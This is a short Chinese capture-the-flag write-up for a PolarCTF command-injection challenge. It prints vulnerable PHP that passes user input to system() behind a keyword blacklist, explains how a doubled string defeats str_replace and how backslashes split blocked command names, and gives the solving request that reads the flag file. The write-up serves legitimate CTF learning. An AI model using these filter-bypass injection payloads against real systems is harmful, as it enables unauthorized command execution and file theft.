【PolarCTF】狗黑子的RCE

复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');


    $gouheizi1=$_GET['gouheizi1'];
    $gouheizi2=$_POST['gouheizi2'];
    $gouheizi2=str_replace('gouheizi', '', $gouheizi2);

    if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $gouheizi1)) {
        echo("badly!");
        exit;
    } 
    if($gouheizi2==="gouheizi"){
        system($gouheizi1);
    }else{
        echo "gouheizi!";
    }
?>

这里需要绕过2个地方

1、gouheizi1不能出现正则匹配中的命令

2、gouheizi2会被str_place将gouheizi替换为空,但是在第二个if中又需要这个gouheizi字符串太能执行system

gouheizi1我们可以使用env来直接读取flag

由于str_place只会匹配一次,那么我可以通过双写让gouheizi2等于gouheizi

str_place通过双写绕过

但是使用env获取的flag是错误的

\拼接命令绕过

这题的正则过来和 【PolarCTF】rapyiquan 一样可以直接参考

复制代码
http://c2d223b9-2c5e-47f8-a521-dcdce170beb8.www.polarctf.com:8090/?gouheizi1=ca\t%20/fl\ag.php

gouheizi2=gouhegouheiziizi
相关推荐
网安蟹佬霸15 小时前
蓝队防御实战:SIEM与SOAR构建安全运营中心(万字详解+实战配置)
android·安全·web安全·网络安全·网安
网安蟹佬霸18 小时前
Zero Trust零信任架构实战:从架构设计到落地部署
安全·网络安全·ci/cd·架构·自动化·网安
拾光Ծ19 小时前
【Linux网络】HTTPS如何保证数据安全?从对称加密、非对称加密到 CA 证书认证
计算机网络·网络安全·https·tls·加密算法
佳&弥20 小时前
数据库提权
服务器·数据库·安全·web安全·网络安全
大方子20 小时前
【PolarCTF】苦海
网络安全·polarctf
whcyhhh1 天前
CTF‑MISC 隐写术完整学习笔记|图片隐写全题型 + 工具 + 实战例题
python·网络安全·ctf·misc·信息隐藏
三垣网安2 天前
记一次渗透测试 | 教育src漏洞分享(2)
网络·安全·web安全·网络安全
汽车网络安全爱好者2 天前
AUTOSAR SecOC 深入解析(一):从 Freshness Value 到 MAC 认证的完整流
物联网·网络安全·汽车·密码学
菩提小狗2 天前
每日安全情报报告 · 2026-08-23
网络安全·漏洞·cve·安全情报·每日安全
大方子2 天前
【PolarCTF】ezjava
网络安全·polarctf